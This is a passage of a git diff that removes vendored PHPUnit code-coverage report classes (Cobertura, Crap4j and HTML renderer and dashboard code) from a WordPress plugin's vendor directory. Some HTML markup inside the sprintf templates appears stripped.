str_replace($report->pathAsString() . DIRECTORY_SEPARATOR, '', $item->pathAsString())); - $classElement->setAttribute('line-rate', (string) $lineRate); - $classElement->setAttribute('branch-rate', (string) $branchRate); - $classElement->setAttribute('complexity', (string) $class['ccn']); - - $classesElement->appendChild($classElement); - - $methodsElement = $document->createElement('methods'); - - $classElement->appendChild($methodsElement); - - $classLinesElement = $document->createElement('lines'); - - $classElement->appendChild($classLinesElement); - - foreach ($class['methods'] as $methodName => $method) { - if ($method['executableLines'] === 0) { - continue; - } - - preg_match("/\((.*?)\)/", $method['signature'], $signature); - - $linesValid = $method['executableLines']; - $linesCovered = $method['executedLines']; - $lineRate = $linesValid === 0 ? 0 : ($linesCovered / $linesValid); - - $branchesValid = $method['executableBranches']; - $branchesCovered = $method['executedBranches']; - $branchRate = $branchesValid === 0 ? 0 : ($branchesCovered / $branchesValid); - - $methodElement = $document->createElement('method'); - - $methodElement->setAttribute('name', $methodName); - $methodElement->setAttribute('signature', $signature[1]); - $methodElement->setAttribute('line-rate', (string) $lineRate); - $methodElement->setAttribute('branch-rate', (string) $branchRate); - $methodElement->setAttribute('complexity', (string) $method['ccn']); - - $methodLinesElement = $document->createElement('lines'); - - $methodElement->appendChild($methodLinesElement); - - foreach (range($method['startLine'], $method['endLine']) as $line) { - if (!isset($coverageData[$line]) || $coverageData[$line] === null) { - continue; - } - $methodLineElement = $document->createElement('line'); - - $methodLineElement->setAttribute('number', (string) $line); - $methodLineElement->setAttribute('hits', (string) count($coverageData[$line])); - - $methodLinesElement->appendChild($methodLineElement); - - $classLineElement = $methodLineElement->cloneNode(); - - $classLinesElement->appendChild($classLineElement); - } - - $methodsElement->appendChild($methodElement); - } - } - - if ($item->numberOfFunctions() === 0) { - $packageElement->setAttribute('complexity', (string) $packageComplexity); - - continue; - } - - $functionsComplexity = 0; - $functionsLinesValid = 0; - $functionsLinesCovered = 0; - $functionsBranchesValid = 0; - $functionsBranchesCovered = 0; - - $classElement = $document->createElement('class'); - $classElement->setAttribute('name', basename($item->pathAsString())); - $classElement->setAttribute('filename', str_replace($report->pathAsString() . DIRECTORY_SEPARATOR, '', $item->pathAsString())); - - $methodsElement = $document->createElement('methods'); - - $classElement->appendChild($methodsElement); - - $classLinesElement = $document->createElement('lines'); - - $classElement->appendChild($classLinesElement); - - $functions = $item->functions(); - - foreach ($functions as $functionName => $function) { - if ($function['executableLines'] === 0) { - continue; - } - - $complexity += $function['ccn']; - $packageComplexity += $function['ccn']; - $functionsComplexity += $function['ccn']; - - $linesValid = $function['executableLines']; - $linesCovered = $function['executedLines']; - $lineRate = $linesValid === 0 ? 0 : ($linesCovered / $linesValid); - - $functionsLinesValid += $linesValid; - $functionsLinesCovered += $linesCovered; - - $branchesValid = $function['executableBranches']; - $branchesCovered = $function['executedBranches']; - $branchRate = $branchesValid === 0 ? 0 : ($branchesCovered / $branchesValid); - - $functionsBranchesValid += $branchesValid; - $functionsBranchesCovered += $branchesValid; - - $methodElement = $document->createElement('method'); - - $methodElement->setAttribute('name', $functionName); - $methodElement->setAttribute('signature', $function['signature']); - $methodElement->setAttribute('line-rate', (string) $lineRate); - $methodElement->setAttribute('branch-rate', (string) $branchRate); - $methodElement->setAttribute('complexity', (string) $function['ccn']); - - $methodLinesElement = $document->createElement('lines'); - - $methodElement->appendChild($methodLinesElement); - - foreach (range($function['startLine'], $function['endLine']) as $line) { - if (!isset($coverageData[$line]) || $coverageData[$line] === null) { - continue; - } - $methodLineElement = $document->createElement('line'); - - $methodLineElement->setAttribute('number', (string) $line); - $methodLineElement->setAttribute('hits', (string) count($coverageData[$line])); - - $methodLinesElement->appendChild($methodLineElement); - - $classLineElement = $methodLineElement->cloneNode(); - - $classLinesElement->appendChild($classLineElement); - } - - $methodsElement->appendChild($methodElement); - } - - $packageElement->setAttribute('complexity', (string) $packageComplexity); - - if ($functionsLinesValid === 0) { - continue; - } - - $lineRate = $functionsLinesCovered / $functionsLinesValid; - $branchRate = $functionsBranchesValid === 0 ? 0 : ($functionsBranchesCovered / $functionsBranchesValid); - - $classElement->setAttribute('line-rate', (string) $lineRate); - $classElement->setAttribute('branch-rate', (string) $branchRate); - $classElement->setAttribute('complexity', (string) $functionsComplexity); - - $classesElement->appendChild($classElement); - } - - $coverageElement->setAttribute('complexity', (string) $complexity); - - $buffer = $document->saveXML(); - - if ($target !== null) { - if (!strpos($target, '://') !== false) { - Filesystem::createDirectory(dirname($target)); - } - - if (@file_put_contents($target, $buffer) === false) { - throw new WriteOperationFailedException($target); - } - } - - return $buffer; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Crap4j.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Crap4j.php deleted file mode 100644 index 2d91567a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Crap4j.php +++ /dev/null @@ -1,156 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report; - -use function date; -use function dirname; -use function file_put_contents; -use function htmlspecialchars; -use function is_string; -use function round; -use function strpos; -use DOMDocument; -use SebastianBergmann\CodeCoverage\CodeCoverage; -use SebastianBergmann\CodeCoverage\Driver\WriteOperationFailedException; -use SebastianBergmann\CodeCoverage\Node\File; -use SebastianBergmann\CodeCoverage\Util\Filesystem; - -final class Crap4j -{ - /** - * @var int - */ - private $threshold; - - public function __construct(int $threshold = 30) - { - $this->threshold = $threshold; - } - - /** - * @throws WriteOperationFailedException - */ - public function process(CodeCoverage $coverage, ?string $target = null, ?string $name = null): string - { - $document = new DOMDocument('1.0', 'UTF-8'); - $document->formatOutput = true; - - $root = $document->createElement('crap_result'); - $document->appendChild($root); - - $project = $document->createElement('project', is_string($name) ? $name : ''); - $root->appendChild($project); - $root->appendChild($document->createElement('timestamp', date('Y-m-d H:i:s'))); - - $stats = $document->createElement('stats'); - $methodsNode = $document->createElement('methods'); - - $report = $coverage->getReport(); - unset($coverage); - - $fullMethodCount = 0; - $fullCrapMethodCount = 0; - $fullCrapLoad = 0; - $fullCrap = 0; - - foreach ($report as $item) { - $namespace = 'global'; - - if (!$item instanceof File) { - continue; - } - - $file = $document->createElement('file'); - $file->setAttribute('name', $item->pathAsString()); - - $classes = $item->classesAndTraits(); - - foreach ($classes as $className => $class) { - foreach ($class['methods'] as $methodName => $method) { - $crapLoad = $this->crapLoad((float) $method['crap'], $method['ccn'], $method['coverage']); - - $fullCrap += $method['crap']; - $fullCrapLoad += $crapLoad; - $fullMethodCount++; - - if ($method['crap'] >= $this->threshold) { - $fullCrapMethodCount++; - } - - $methodNode = $document->createElement('method'); - - if (!empty($class['namespace'])) { - $namespace = $class['namespace']; - } - - $methodNode->appendChild($document->createElement('package', $namespace)); - $methodNode->appendChild($document->createElement('className', $className)); - $methodNode->appendChild($document->createElement('methodName', $methodName)); - $methodNode->appendChild($document->createElement('methodSignature', htmlspecialchars($method['signature']))); - $methodNode->appendChild($document->createElement('fullMethod', htmlspecialchars($method['signature']))); - $methodNode->appendChild($document->createElement('crap', (string) $this->roundValue((float) $method['crap']))); - $methodNode->appendChild($document->createElement('complexity', (string) $method['ccn'])); - $methodNode->appendChild($document->createElement('coverage', (string) $this->roundValue($method['coverage']))); - $methodNode->appendChild($document->createElement('crapLoad', (string) round($crapLoad))); - - $methodsNode->appendChild($methodNode); - } - } - } - - $stats->appendChild($document->createElement('name', 'Method Crap Stats')); - $stats->appendChild($document->createElement('methodCount', (string) $fullMethodCount)); - $stats->appendChild($document->createElement('crapMethodCount', (string) $fullCrapMethodCount)); - $stats->appendChild($document->createElement('crapLoad', (string) round($fullCrapLoad))); - $stats->appendChild($document->createElement('totalCrap', (string) $fullCrap)); - - $crapMethodPercent = 0; - - if ($fullMethodCount > 0) { - $crapMethodPercent = $this->roundValue((100 * $fullCrapMethodCount) / $fullMethodCount); - } - - $stats->appendChild($document->createElement('crapMethodPercent', (string) $crapMethodPercent)); - - $root->appendChild($stats); - $root->appendChild($methodsNode); - - $buffer = $document->saveXML(); - - if ($target !== null) { - if (!strpos($target, '://') !== false) { - Filesystem::createDirectory(dirname($target)); - } - - if (@file_put_contents($target, $buffer) === false) { - throw new WriteOperationFailedException($target); - } - } - - return $buffer; - } - - private function crapLoad(float $crapValue, int $cyclomaticComplexity, float $coveragePercent): float - { - $crapLoad = 0; - - if ($crapValue >= $this->threshold) { - $crapLoad += $cyclomaticComplexity * (1.0 - $coveragePercent / 100); - $crapLoad += $cyclomaticComplexity / $this->threshold; - } - - return $crapLoad; - } - - private function roundValue(float $value): float - { - return round($value, 2); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Facade.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Facade.php deleted file mode 100644 index 69935d73..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Facade.php +++ /dev/null @@ -1,147 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Html; - -use const DIRECTORY_SEPARATOR; -use function copy; -use function date; -use function dirname; -use function substr; -use SebastianBergmann\CodeCoverage\CodeCoverage; -use SebastianBergmann\CodeCoverage\InvalidArgumentException; -use SebastianBergmann\CodeCoverage\Node\Directory as DirectoryNode; -use SebastianBergmann\CodeCoverage\Util\Filesystem; - -final class Facade -{ - /** - * @var string - */ - private $templatePath; - - /** - * @var string - */ - private $generator; - - /** - * @var int - */ - private $lowUpperBound; - - /** - * @var int - */ - private $highLowerBound; - - public function __construct(int $lowUpperBound = 50, int $highLowerBound = 90, string $generator = '') - { - if ($lowUpperBound > $highLowerBound) { - throw new InvalidArgumentException( - '$lowUpperBound must not be larger than $highLowerBound' - ); - } - - $this->generator = $generator; - $this->highLowerBound = $highLowerBound; - $this->lowUpperBound = $lowUpperBound; - $this->templatePath = __DIR__ . '/Renderer/Template/'; - } - - public function process(CodeCoverage $coverage, string $target): void - { - $target = $this->directory($target); - $report = $coverage->getReport(); - $date = date('D M j G:i:s T Y'); - - $dashboard = new Dashboard( - $this->templatePath, - $this->generator, - $date, - $this->lowUpperBound, - $this->highLowerBound, - $coverage->collectsBranchAndPathCoverage() - ); - - $directory = new Directory( - $this->templatePath, - $this->generator, - $date, - $this->lowUpperBound, - $this->highLowerBound, - $coverage->collectsBranchAndPathCoverage() - ); - - $file = new File( - $this->templatePath, - $this->generator, - $date, - $this->lowUpperBound, - $this->highLowerBound, - $coverage->collectsBranchAndPathCoverage() - ); - - $directory->render($report, $target . 'index.html'); - $dashboard->render($report, $target . 'dashboard.html'); - - foreach ($report as $node) { - $id = $node->id(); - - if ($node instanceof DirectoryNode) { - Filesystem::createDirectory($target . $id); - - $directory->render($node, $target . $id . '/index.html'); - $dashboard->render($node, $target . $id . '/dashboard.html'); - } else { - $dir = dirname($target . $id); - - Filesystem::createDirectory($dir); - - $file->render($node, $target . $id); - } - } - - $this->copyFiles($target); - } - - private function copyFiles(string $target): void - { - $dir = $this->directory($target . '_css'); - - copy($this->templatePath . 'css/bootstrap.min.css', $dir . 'bootstrap.min.css'); - copy($this->templatePath . 'css/nv.d3.min.css', $dir . 'nv.d3.min.css'); - copy($this->templatePath . 'css/style.css', $dir . 'style.css'); - copy($this->templatePath . 'css/custom.css', $dir . 'custom.css'); - copy($this->templatePath . 'css/octicons.css', $dir . 'octicons.css'); - - $dir = $this->directory($target . '_icons'); - copy($this->templatePath . 'icons/file-code.svg', $dir . 'file-code.svg'); - copy($this->templatePath . 'icons/file-directory.svg', $dir . 'file-directory.svg'); - - $dir = $this->directory($target . '_js'); - copy($this->templatePath . 'js/bootstrap.min.js', $dir . 'bootstrap.min.js'); - copy($this->templatePath . 'js/popper.min.js', $dir . 'popper.min.js'); - copy($this->templatePath . 'js/d3.min.js', $dir . 'd3.min.js'); - copy($this->templatePath . 'js/jquery.min.js', $dir . 'jquery.min.js'); - copy($this->templatePath . 'js/nv.d3.min.js', $dir . 'nv.d3.min.js'); - copy($this->templatePath . 'js/file.js', $dir . 'file.js'); - } - - private function directory(string $directory): string - { - if (substr($directory, -1, 1) != DIRECTORY_SEPARATOR) { - $directory .= DIRECTORY_SEPARATOR; - } - - Filesystem::createDirectory($directory); - - return $directory; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer.php deleted file mode 100644 index fe285b18..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer.php +++ /dev/null @@ -1,314 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Html; - -use function array_pop; -use function count; -use function sprintf; -use function str_repeat; -use function substr_count; -use SebastianBergmann\CodeCoverage\Node\AbstractNode; -use SebastianBergmann\CodeCoverage\Node\Directory as DirectoryNode; -use SebastianBergmann\CodeCoverage\Node\File as FileNode; -use SebastianBergmann\CodeCoverage\Version; -use SebastianBergmann\Environment\Runtime; -use SebastianBergmann\Template\Template; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -abstract class Renderer -{ - /** - * @var string - */ - protected $templatePath; - - /** - * @var string - */ - protected $generator; - - /** - * @var string - */ - protected $date; - - /** - * @var int - */ - protected $lowUpperBound; - - /** - * @var int - */ - protected $highLowerBound; - - /** - * @var bool - */ - protected $hasBranchCoverage; - - /** - * @var string - */ - protected $version; - - public function __construct(string $templatePath, string $generator, string $date, int $lowUpperBound, int $highLowerBound, bool $hasBranchCoverage) - { - $this->templatePath = $templatePath; - $this->generator = $generator; - $this->date = $date; - $this->lowUpperBound = $lowUpperBound; - $this->highLowerBound = $highLowerBound; - $this->version = Version::id(); - $this->hasBranchCoverage = $hasBranchCoverage; - } - - protected function renderItemTemplate(Template $template, array $data): string - { - $numSeparator = ' / '; - - if (isset($data['numClasses']) && $data['numClasses'] > 0) { - $classesLevel = $this->colorLevel($data['testedClassesPercent']); - - $classesNumber = $data['numTestedClasses'] . $numSeparator . - $data['numClasses']; - - $classesBar = $this->coverageBar( - $data['testedClassesPercent'] - ); - } else { - $classesLevel = ''; - $classesNumber = '0' . $numSeparator . '0'; - $classesBar = ''; - $data['testedClassesPercentAsString'] = 'n/a'; - } - - if ($data['numMethods'] > 0) { - $methodsLevel = $this->colorLevel($data['testedMethodsPercent']); - - $methodsNumber = $data['numTestedMethods'] . $numSeparator . - $data['numMethods']; - - $methodsBar = $this->coverageBar( - $data['testedMethodsPercent'] - ); - } else { - $methodsLevel = ''; - $methodsNumber = '0' . $numSeparator . '0'; - $methodsBar = ''; - $data['testedMethodsPercentAsString'] = 'n/a'; - } - - if ($data['numExecutableLines'] > 0) { - $linesLevel = $this->colorLevel($data['linesExecutedPercent']); - - $linesNumber = $data['numExecutedLines'] . $numSeparator . - $data['numExecutableLines']; - - $linesBar = $this->coverageBar( - $data['linesExecutedPercent'] - ); - } else { - $linesLevel = ''; - $linesNumber = '0' . $numSeparator . '0'; - $linesBar = ''; - $data['linesExecutedPercentAsString'] = 'n/a'; - } - - if ($data['numExecutablePaths'] > 0) { - $pathsLevel = $this->colorLevel($data['pathsExecutedPercent']); - - $pathsNumber = $data['numExecutedPaths'] . $numSeparator . - $data['numExecutablePaths']; - - $pathsBar = $this->coverageBar( - $data['pathsExecutedPercent'] - ); - } else { - $pathsLevel = ''; - $pathsNumber = '0' . $numSeparator . '0'; - $pathsBar = ''; - $data['pathsExecutedPercentAsString'] = 'n/a'; - } - - if ($data['numExecutableBranches'] > 0) { - $branchesLevel = $this->colorLevel($data['branchesExecutedPercent']); - - $branchesNumber = $data['numExecutedBranches'] . $numSeparator . - $data['numExecutableBranches']; - - $branchesBar = $this->coverageBar( - $data['branchesExecutedPercent'] - ); - } else { - $branchesLevel = ''; - $branchesNumber = '0' . $numSeparator . '0'; - $branchesBar = ''; - $data['branchesExecutedPercentAsString'] = 'n/a'; - } - - $template->setVar( - [ - 'icon' => $data['icon'] ?? '', - 'crap' => $data['crap'] ?? '', - 'name' => $data['name'], - 'lines_bar' => $linesBar, - 'lines_executed_percent' => $data['linesExecutedPercentAsString'], - 'lines_level' => $linesLevel, - 'lines_number' => $linesNumber, - 'paths_bar' => $pathsBar, - 'paths_executed_percent' => $data['pathsExecutedPercentAsString'], - 'paths_level' => $pathsLevel, - 'paths_number' => $pathsNumber, - 'branches_bar' => $branchesBar, - 'branches_executed_percent' => $data['branchesExecutedPercentAsString'], - 'branches_level' => $branchesLevel, - 'branches_number' => $branchesNumber, - 'methods_bar' => $methodsBar, - 'methods_tested_percent' => $data['testedMethodsPercentAsString'], - 'methods_level' => $methodsLevel, - 'methods_number' => $methodsNumber, - 'classes_bar' => $classesBar, - 'classes_tested_percent' => $data['testedClassesPercentAsString'] ?? '', - 'classes_level' => $classesLevel, - 'classes_number' => $classesNumber, - ] - ); - - return $template->render(); - } - - protected function setCommonTemplateVariables(Template $template, AbstractNode $node): void - { - $template->setVar( - [ - 'id' => $node->id(), - 'full_path' => $node->pathAsString(), - 'path_to_root' => $this->pathToRoot($node), - 'breadcrumbs' => $this->breadcrumbs($node), - 'date' => $this->date, - 'version' => $this->version, - 'runtime' => $this->runtimeString(), - 'generator' => $this->generator, - 'low_upper_bound' => $this->lowUpperBound, - 'high_lower_bound' => $this->highLowerBound, - ] - ); - } - - protected function breadcrumbs(AbstractNode $node): string - { - $breadcrumbs = ''; - $path = $node->pathAsArray(); - $pathToRoot = []; - $max = count($path); - - if ($node instanceof FileNode) { - $max--; - } - - for ($i = 0; $i < $max; $i++) { - $pathToRoot[] = str_repeat('../', $i); - } - - foreach ($path as $step) { - if ($step !== $node) { - $breadcrumbs .= $this->inactiveBreadcrumb( - $step, - array_pop($pathToRoot) - ); - } else { - $breadcrumbs .= $this->activeBreadcrumb($step); - } - } - - return $breadcrumbs; - } - - protected function activeBreadcrumb(AbstractNode $node): string - { - $buffer = sprintf( - ' ' . "\n", - $node->name() - ); - - if ($node instanceof DirectoryNode) { - $buffer .= ' ' . "\n"; - } - - return $buffer; - } - - protected function inactiveBreadcrumb(AbstractNode $node, string $pathToRoot): string - { - return sprintf( - ' ' . "\n", - $pathToRoot, - $node->name() - ); - } - - protected function pathToRoot(AbstractNode $node): string - { - $id = $node->id(); - $depth = substr_count($id, '/'); - - if ($id !== 'index' && - $node instanceof DirectoryNode) { - $depth++; - } - - return str_repeat('../', $depth); - } - - protected function coverageBar(float $percent): string - { - $level = $this->colorLevel($percent); - - $templateName = $this->templatePath . ($this->hasBranchCoverage ? 'coverage_bar_branch.html' : 'coverage_bar.html'); - $template = new Template( - $templateName, - '{{', - '}}' - ); - - $template->setVar(['level' => $level, 'percent' => sprintf('%.2F', $percent)]); - - return $template->render(); - } - - protected function colorLevel(float $percent): string - { - if ($percent <= $this->lowUpperBound) { - return 'danger'; - } - - if ($percent > $this->lowUpperBound && - $percent < $this->highLowerBound) { - return 'warning'; - } - - return 'success'; - } - - private function runtimeString(): string - { - $runtime = new Runtime; - - return sprintf( - '%s %s', - $runtime->getVendorUrl(), - $runtime->getName(), - $runtime->getVersion() - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Dashboard.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Dashboard.php deleted file mode 100644 index b44870b5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Dashboard.php +++ /dev/null @@ -1,288 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Html; - -use function array_values; -use function arsort; -use function asort; -use function count; -use function explode; -use function floor; -use function json_encode; -use function sprintf; -use function str_replace; -use SebastianBergmann\CodeCoverage\Node\AbstractNode; -use SebastianBergmann\CodeCoverage\Node\Directory as DirectoryNode; -use SebastianBergmann\Template\Template; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Dashboard extends Renderer -{ - public function render(DirectoryNode $node, string $file): void - { - $classes = $node->classesAndTraits(); - $templateName = $this->templatePath . ($this->hasBranchCoverage ? 'dashboard_branch.html' : 'dashboard.html'); - $template = new Template( - $templateName, - '{{', - '}}' - ); - - $this->setCommonTemplateVariables($template, $node); - - $baseLink = $node->id() . '/'; - $complexity = $this->complexity($classes, $baseLink); - $coverageDistribution = $this->coverageDistribution($classes); - $insufficientCoverage = $this->insufficientCoverage($classes, $baseLink); - $projectRisks = $this->projectRisks($classes, $baseLink); - - $template->setVar( - [ - 'insufficient_coverage_classes' => $insufficientCoverage['class'], - 'insufficient_coverage_methods' => $insufficientCoverage['method'], - 'project_risks_classes' => $projectRisks['class'], - 'project_risks_methods' => $projectRisks['method'], - 'complexity_class' => $complexity['class'], - 'complexity_method' => $complexity['method'], - 'class_coverage_distribution' => $coverageDistribution['class'], - 'method_coverage_distribution' => $coverageDistribution['method'], - ] - ); - - $template->renderTo($file); - } - - protected function activeBreadcrumb(AbstractNode $node): string - { - return sprintf( - ' ' . "\n" . - ' ' . "\n", - $node->name() - ); - } - - /** - * Returns the data for the Class/Method Complexity charts. - */ - private function complexity(array $classes, string $baseLink): array - { - $result = ['class' => [], 'method' => []]; - - foreach ($classes as $className => $class) { - foreach ($class['methods'] as $methodName => $method) { - if ($className !== '*') { - $methodName = $className . '::' . $methodName; - } - - $result['method'][] = [ - $method['coverage'], - $method['ccn'], - sprintf( - '%s', - str_replace($baseLink, '', $method['link']), - $methodName - ), - ]; - } - - $result['class'][] = [ - $class['coverage'], - $class['ccn'], - sprintf( - '%s', - str_replace($baseLink, '', $class['link']), - $className - ), - ]; - } - - return [ - 'class' => json_encode($result['class']), - 'method' => json_encode($result['method']), - ]; - } - - /** - * Returns the data for the Class / Method Coverage Distribution chart. - */ - private function coverageDistribution(array $classes): array - { - $result = [ - 'class' => [ - '0%' => 0, - '0-10%' => 0, - '10-20%' => 0, - '20-30%' => 0, - '30-40%' => 0, - '40-50%' => 0, - '50-60%' => 0, - '60-70%' => 0, - '70-80%' => 0, - '80-90%' => 0, - '90-100%' => 0, - '100%' => 0, - ], - 'method' => [ - '0%' => 0, - '0-10%' => 0, - '10-20%' => 0, - '20-30%' => 0, - '30-40%' => 0, - '40-50%' => 0, - '50-60%' => 0, - '60-70%' => 0, - '70-80%' => 0, - '80-90%' => 0, - '90-100%' => 0, - '100%' => 0, - ], - ]; - - foreach ($classes as $class) { - foreach ($class['methods'] as $methodName => $method) { - if ($method['coverage'] === 0) { - $result['method']['0%']++; - } elseif ($method['coverage'] === 100) { - $result['method']['100%']++; - } else { - $key = floor($method['coverage'] / 10) * 10; - $key = $key . '-' . ($key + 10) . '%'; - $result['method'][$key]++; - } - } - - if ($class['coverage'] === 0) { - $result['class']['0%']++; - } elseif ($class['coverage'] === 100) { - $result['class']['100%']++; - } else { - $key = floor($class['coverage'] / 10) * 10; - $key = $key . '-' . ($key + 10) . '%'; - $result['class'][$key]++; - } - } - - return [ - 'class' => json_encode(array_values($result['class'])), - 'method' => json_encode(array_values($result['method'])), - ]; - } - - /** - * Returns the classes / methods with insufficient coverage. - */ - private function insufficientCoverage(array $classes, string $baseLink): array - { - $leastTestedClasses = []; - $leastTestedMethods = []; - $result = ['class' => '', 'method' => '']; - - foreach ($classes as $className => $class) { - foreach ($class['methods'] as $methodName => $method) { - if ($method['coverage'] < $this->highLowerBound) { - $key = $methodName; - - if ($className !== '*') { - $key = $className . '::' . $methodName; - } - - $leastTestedMethods[$key] = $method['coverage']; - } - } - - if ($class['coverage'] < $this->highLowerBound) { - $leastTestedClasses[$className] = $class['coverage']; - } - } - - asort($leastTestedClasses); - asort($leastTestedMethods); - - foreach ($leastTestedClasses as $className => $coverage) { - $result['class'] .= sprintf( - ' %s%d%%' . "\n", - str_replace($baseLink, '', $classes[$className]['link']), - $className, - $coverage - ); - } - - foreach ($leastTestedMethods as $methodName => $coverage) { - [$class, $method] = explode('::', $methodName); - - $result['method'] .= sprintf( - ' %s%d%%' . "\n", - str_replace($baseLink, '', $classes[$class]['methods'][$method]['link']), - $methodName, - $method, - $coverage - ); - } - - return $result; - } - - /** - * Returns the project risks according to the CRAP index. - */ - private function projectRisks(array $classes, string $baseLink): array - { - $classRisks = []; - $methodRisks = []; - $result = ['class' => '', 'method' => '']; - - foreach ($classes as $className => $class) { - foreach ($class['methods'] as $methodName => $method) { - if ($method['coverage'] < $this->highLowerBound && $method['ccn'] > 1) { - $key = $methodName; - - if ($className !== '*') { - $key = $className . '::' . $methodName; - } - - $methodRisks[$key] = $method['crap']; - } - } - - if ($class['coverage'] < $this->highLowerBound && - $class['ccn'] > count($class['methods'])) { - $classRisks[$className] = $class['crap']; - } - } - - arsort($classRisks); - arsort($methodRisks); - - foreach ($classRisks as $className => $crap) { - $result['class'] .= sprintf( - ' %s%d' . "\n", - str_replace($baseLink, '', $classes[$className]['link']), - $className, - $crap - ); - } - - foreach ($methodRisks as $methodName => $crap) { - [$class, $method] = explode('::', $methodName); - - $result['method'] .= sprintf( - ' %s%d' . "\n", - str_replace($baseLink, '', $classes[$class]['methods'][$method]['link']), - $methodName, - $method, - $crap - ); - } - - return $result; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Directory.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Directory.php deleted file mode 100644 index faacbc31..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Directory.php +++ /dev/null @@ -1,113 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Html; - -use function count; -use function sprintf; -use function str_repeat; -use SebastianBergmann\CodeCoverage\Node\AbstractNode as Node; -use SebastianBergmann\CodeCoverage\Node\Directory as DirectoryNode; -use SebastianBergmann\Template\Template; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Directory extends Renderer -{ - public function render(DirectoryNode $node, string $file): void - { - $templateName = $this->templatePath . ($this->hasBranchCoverage ? 'directory_branch.html' : 'directory.html'); - $template = new Template($templateName, '{{', '}}'); - - $this->setCommonTemplateVariables($template, $node); - - $items = $this->renderItem($node, true); - - foreach ($node->directories() as $item) { - $items .= $this->renderItem($item); - } - - foreach ($node->files() as $item) { - $items .= $this->renderItem($item); - } - - $template->setVar( - [ - 'id' => $node->id(), - 'items' => $items, - ] - ); - - $template->renderTo($file); - } - - private function renderItem(Node $node, bool $total = false): string - { - $data = [ - 'numClasses' => $node->numberOfClassesAndTraits(), - 'numTestedClasses' => $node->numberOfTestedClassesAndTraits(), - 'numMethods' => $node->numberOfFunctionsAndMethods(), - 'numTestedMethods' => $node->numberOfTestedFunctionsAndMethods(), - 'linesExecutedPercent' => $node->percentageOfExecutedLines()->asFloat(), - 'linesExecutedPercentAsString' => $node->percentageOfExecutedLines()->asString(), - 'numExecutedLines' => $node->numberOfExecutedLines(), - 'numExecutableLines' => $node->numberOfExecutableLines(), - 'branchesExecutedPercent' => $node->percentageOfExecutedBranches()->asFloat(), - 'branchesExecutedPercentAsString' => $node->percentageOfExecutedBranches()->asString(), - 'numExecutedBranches' => $node->numberOfExecutedBranches(), - 'numExecutableBranches' => $node->numberOfExecutableBranches(), - 'pathsExecutedPercent' => $node->percentageOfExecutedPaths()->asFloat(), - 'pathsExecutedPercentAsString' => $node->percentageOfExecutedPaths()->asString(), - 'numExecutedPaths' => $node->numberOfExecutedPaths(), - 'numExecutablePaths' => $node->numberOfExecutablePaths(), - 'testedMethodsPercent' => $node->percentageOfTestedFunctionsAndMethods()->asFloat(), - 'testedMethodsPercentAsString' => $node->percentageOfTestedFunctionsAndMethods()->asString(), - 'testedClassesPercent' => $node->percentageOfTestedClassesAndTraits()->asFloat(), - 'testedClassesPercentAsString' => $node->percentageOfTestedClassesAndTraits()->asString(), - ]; - - if ($total) { - $data['name'] = 'Total'; - } else { - $up = str_repeat('../', count($node->pathAsArray()) - 2); - $data['icon'] = sprintf('', $up); - - if ($node instanceof DirectoryNode) { - $data['name'] = sprintf( - '%s', - $node->name(), - $node->name() - ); - $data['icon'] = sprintf('', $up); - } elseif ($this->hasBranchCoverage) { - $data['name'] = sprintf( - '%s [line] [branch] [path]', - $node->name(), - $node->name(), - $node->name(), - $node->name() - ); - } else { - $data['name'] = sprintf( - '%s', - $node->name(), - $node->name() - ); - } - } - - $templateName = $this->templatePath . ($this->hasBranchCoverage ? 'directory_item_branch.html' : 'directory_item.html'); - - return $this->renderItemTemplate( - new Template($templateName, '{{', '}}'), - $data - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/File.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/File.php 